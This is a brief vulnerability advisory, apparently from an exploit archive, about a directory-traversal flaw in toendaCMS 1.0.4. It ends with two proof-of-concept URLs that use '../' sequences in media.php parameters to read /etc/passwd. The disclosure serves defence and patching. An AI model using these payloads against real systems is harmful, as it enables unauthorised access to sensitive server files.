11 lines
No EOL
563 B
Text
11 lines
No EOL
563 B
Text
source: http://www.securityfocus.com/bid/20170/info
|
|
|
|
toendaCMS is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
|
|
|
|
Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.
|
|
|
|
Version 1.0.4 is vulnerable; other versions may also be affected.
|
|
|
|
http://www.example.com/media.php?album=1005bb&key=../../../../../../../../../../../../../etc/passwd
|
|
|
|
http://www.example.com/media.php?album=../../../../../../../../../../../../..&key=/etc/passwd |